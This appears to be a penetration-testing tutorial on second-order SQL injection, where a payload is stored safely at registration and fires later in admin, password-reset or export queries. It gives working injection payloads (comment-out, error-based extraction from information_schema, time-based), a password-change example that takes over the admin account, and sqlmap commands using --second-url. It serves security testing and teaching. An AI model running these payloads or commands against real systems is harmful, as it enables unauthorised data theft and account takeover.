Second-Order SQL Injection

The payload goes in safely. It's stored. No injection fires at storage time. Then later - at a different endpoint, in a different context, maybe only visible to an admin - the stored value gets pulled and used in a query without parameterization. Second-order is the one developers almost never think to test, and automated scanners miss entirely.

How It Works

flowchart TD
    A["Register with payload username"] --> B["Stored safely via parameterized INSERT"]
    B --> C["Login as payload user"]
    C --> D["Admin views user list"]
    D --> E["Backend uses username in raw query"]
    E --> F["SQL injection fires, data exfiltrated"]

Why It's Missed

Most scanners test input → immediate response. Second-order requires:

  1. Storing a payload at step 1
  2. Triggering execution at step 2 (different request, different session, maybe different role)

There's no single request that reveals the vulnerability. You have to correlate across requests and roles.

Classic Pattern - Registration → Admin Panel

The registration flow sanitizes input but stores the raw value. The admin panel retrieves the username and uses it in a raw query:

-- Registration INSERT (parameterized  -  safe)
INSERT INTO users (username, password) VALUES (?, ?)
 
-- Admin panel query for user activity (raw string  -  VULNERABLE)
SELECT * FROM activity_log WHERE username = 'admin'--'

Payload to register as: admin'--

This comments out everything after the username in the admin query. Depending on the query, this could:

  • Return all activity logs (no WHERE filtering)
  • Cause a syntax error that reveals DB info
  • Skip a permission check

Injection Payloads for Registration

-- Classic comment-out (MySQL / MSSQL)
admin'--
admin' #
 
-- Trigger error for fingerprinting
admin' AND EXTRACTVALUE(1,version())--
 
-- Boolean test
admin' AND '1'='1
admin' AND '1'='2
 
-- Time-based confirmation
admin' AND SLEEP(5)--
 
-- Data extraction via error (if admin panel shows errors)
admin' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables LIMIT 0,1)))--

Where to Look for Second-Order Triggers

User-Controlled Fields That Get Re-Used in Queries

  • Username - used in audit logs, activity queries, admin search
  • Email - used in "find user by email" admin functionality
  • Display name - rendered in reports with raw queries
  • Address / company name - billing system queries
  • File names - upload filename used in a later DB lookup
  • Custom fields / metadata - profile fields queried in search

High-Value Trigger Points

1. Password reset  -  "reset password for username X"
   → Payload in username, triggers in password reset query
 
2. Admin user management  -  admin views all users
   → Payload in username/email, renders in admin panel query
 
3. Email notification system  -  sends email using stored user data
   → Payload in name field, used in query to build email
 
4. Export / report generation  -  "export all user data as CSV"
   → Payload in any stored field, triggers in the export query
 
5. Search functionality  -  search for "users named X"
   → Payload in name, re-queried in search without sanitization

Testing Methodology

flowchart TD
    A[Identify Storage Points] --> B[Inject Distinctive Payloads]
    B --> C[Navigate All App Functions]
    C --> D{Observe Behavioral Changes}
    D -->|Error / Different Response| E[Second-Order Confirmed]
    D -->|Time Delay| E
    D -->|No Change| F[Try Admin-Triggered Points]
    F --> G[Check Admin Panel as Admin]
    G --> D

Step-by-Step

  1. Register / create a record with a payload in every field: admin'--, test' AND SLEEP(5)--, ' OR '1'='1
  2. Log in and use the app normally - does anything behave differently?
  3. Check every page that displays your stored data.
  4. Trigger admin operations on your account - flag it for review, submit a support ticket.
  5. If you have admin access (separate test account or part of scope), log in as admin and view the account you poisoned.

Real-World Example - Password Change

-- Vulnerable password change code (pseudocode)
username = get_from_session()  -- retrieved from DB, originally stored raw
query = "UPDATE users SET password='" + new_hash + "' WHERE username='" + username + "'"

If username was stored as admin'--, this becomes:

UPDATE users SET password='newhash' WHERE username='admin'--'

The -- comments out the closing quote - this updates the admin account's password, not yours. Second-order privilege escalation to admin.

sqlmap - Second-Order Mode

# sqlmap can test second-order with the --second-url flag
# Step 1: inject at /register
# Step 2: check for injection effect at /profile
 
sqlmap -u "https://target.com/register" \
  --data="username=*&email=test@test.com&password=test" \
  --second-url="https://target.com/admin/users" \
  --batch --dbs
 
# If admin cookies are needed for the trigger URL
sqlmap -u "https://target.com/register" \
  --data="username=*&email=test@test.com" \
  --second-url="https://target.com/admin/users" \
  --cookie="admin_session=ADMIN_TOKEN" \
  --batch